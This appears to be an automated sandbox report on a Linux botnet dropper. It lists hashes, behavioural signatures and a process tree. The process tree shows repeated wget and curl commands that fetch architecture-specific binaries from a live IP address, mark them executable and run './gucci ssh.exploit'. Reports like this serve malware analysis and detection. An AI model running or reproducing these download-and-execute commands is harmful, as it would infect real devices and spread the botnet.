Analysis

  • max time kernel
    20s
  • max time network
    21s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28-07-2024 17:02

General

  • Target

    18d2223535e45636ae395a0ff6f871b2_JaffaCakes118

  • Size

    1KB

  • MD5

    18d2223535e45636ae395a0ff6f871b2

  • SHA1

    1332ef19c7f95476565618fd4657f70b8127fe49

  • SHA256

    99bd7484ae2c892b3c45d7a60ab1a13495a7ef6a94c2a59240f32ee2faf938ac

  • SHA512

    2e00d77e6a3094ae2ae63968dd303cd3b9cedc34ab8bb1c5fefe1e411efc4569502ed8f15fa7ff40f60a207db5d6203a4110be97894fc905619134ea35b55a48

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 11 IoCs
  • Checks CPU configuration 1 TTPs 11 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 22 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
    /tmp/18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
    1⤵
    • Writes file to tmp directory
    PID:657
    • /usr/bin/wget
      wget http://192.3.122.100/bins/arm
      2⤵
        PID:658
      • /usr/bin/curl
        curl -O http://192.3.122.100/bins/arm
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        PID:665
      • /bin/cat
        cat arm
        2⤵
          PID:666
        • /bin/chmod
          chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
          2⤵
            PID:667
          • /tmp/gucci
            ./gucci ssh.exploit
            2⤵
            • Executes dropped EXE
            PID:668
          • /usr/bin/wget
            wget http://192.3.122.100/bins/arm5
            2⤵
              PID:670
            • /usr/bin/curl
              curl -O http://192.3.122.100/bins/arm5
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              PID:671
            • /bin/cat
              cat arm5
              2⤵
                PID:672
              • /bin/chmod
                chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
                2⤵
                  PID:673
                • /tmp/gucci
                  ./gucci ssh.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:674
                • /usr/bin/wget
                  wget http://192.3.122.100/bins/arm6
                  2⤵
                    PID:676
                  • /usr/bin/curl
                    curl -O http://192.3.122.100/bins/arm6
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    PID:677
                  • /bin/cat
                    cat arm6
                    2⤵
                      PID:681
                    • /bin/chmod
                      chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
                      2⤵
                        PID:682
                      • /tmp/gucci
                        ./gucci ssh.exploit
                        2⤵
                        • Executes dropped EXE
                        PID:683
                      • /usr/bin/wget
                        wget http://192.3.122.100/bins/arm7
                        2⤵
                          PID:685
                        • /usr/bin/curl
                          curl -O http://192.3.122.100/bins/arm7
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          PID:686
                        • /bin/cat
                          cat arm7
                          2⤵
                            PID:687
                          • /bin/chmod
                            chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
                            2⤵
                              PID:688
                            • /tmp/gucci
                              ./gucci ssh.exploit
                              2⤵
                              • Executes dropped EXE
                              PID:689
                            • /usr/bin/wget
                              wget http://192.3.122.100/bins/m68k
                              2⤵
                                PID:691
                              • /usr/bin/curl
                                curl -O http://192.3.122.100/bins/m68k
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:692
                              • /bin/cat
                                cat m68k
                                2⤵
                                  PID:693
                                • /bin/chmod
                                  chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
                                  2⤵
                                    PID:694
                                  • /tmp/gucci
                                    ./gucci ssh.exploit
                                    2⤵
                                    • Executes dropped EXE
                                    PID:695
                                  • /usr/bin/wget
                                    wget http://192.3.122.100/bins/mips
                                    2⤵
                                      PID:697
                                    • /usr/bin/curl
                                      curl -O http://192.3.122.100/bins/mips
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      PID:698
                                    • /bin/cat
                                      cat mips
                                      2⤵
                                        PID:699
                                      • /bin/chmod
                                        chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
                                        2⤵
                                          PID:700
                                        • /tmp/gucci
                                          ./gucci ssh.exploit
                                          2⤵
                                          • Executes dropped EXE
                                          PID:701
                                        • /usr/bin/wget
                                          wget http://192.3.122.100/bins/mpsl
                                          2⤵
                                            PID:703
                                          • /usr/bin/curl
                                            curl -O http://192.3.122.100/bins/mpsl
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            PID:704
                                          • /bin/cat
                                            cat mpsl
                                            2⤵
                                              PID:705
                                            • /bin/chmod
                                              chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
                                              2⤵
                                                PID:706
                                              • /tmp/gucci
                                                ./gucci ssh.exploit
                                                2⤵
                                                • Executes dropped EXE
                                                PID:707
                                              • /usr/bin/wget
                                                wget http://192.3.122.100/bins/ppc
                                                2⤵
                                                  PID:709
                                                • /usr/bin/curl
                                                  curl -O http://192.3.122.100/bins/ppc
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  PID:710
                                                • /bin/cat
                                                  cat ppc
                                                  2⤵
                                                    PID:711
                                                  • /bin/chmod
                                                    chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
                                                    2⤵
                                                      PID:712
                                                    • /tmp/gucci
                                                      ./gucci ssh.exploit
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:713
                                                    • /usr/bin/wget
                                                      wget http://192.3.122.100/bins/sh4
                                                      2⤵
                                                        PID:715
                                                      • /usr/bin/curl
                                                        curl -O http://192.3.122.100/bins/sh4
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        PID:716
                                                      • /bin/cat
                                                        cat sh4
                                                        2⤵
                                                          PID:717
                                                        • /bin/chmod
                                                          chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
                                                          2⤵
                                                            PID:718
                                                          • /tmp/gucci
                                                            ./gucci ssh.exploit
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:719
                                                          • /usr/bin/wget
                                                            wget http://192.3.122.100/bins/spc
                                                            2⤵
                                                              PID:721
                                                            • /usr/bin/curl
                                                              curl -O http://192.3.122.100/bins/spc
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              PID:722
                                                            • /bin/cat
                                                              cat spc
                                                              2⤵
                                                                PID:723
                                                              • /bin/chmod
                                                                chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
                                                                2⤵
                                                                  PID:724
                                                                • /tmp/gucci
                                                                  ./gucci ssh.exploit
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:725
                                                                • /usr/bin/wget
                                                                  wget http://192.3.122.100/bins/x86
                                                                  2⤵
                                                                    PID:727
                                                                  • /usr/bin/curl
                                                                    curl -O http://192.3.122.100/bins/x86
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    PID:728
                                                                  • /bin/cat
                                                                    cat x86
                                                                    2⤵
                                                                      PID:729
                                                                    • /bin/chmod
                                                                      chmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr
                                                                      2⤵
                                                                        PID:730
                                                                      • /tmp/gucci
                                                                        ./gucci ssh.exploit
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:731

                                                                    Network

                                                                    MITRE ATT&CK Enterprise v15

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                                                                    Downloads

                                                                    • memory/715-1-0xb6794000-0xb67a5044-memory.dmp

                                                                    • memory/722-2-0xb6768000-0xb6779044-memory.dmp

                                                                    • memory/728-3-0xb675a000-0xb676b044-memory.dmp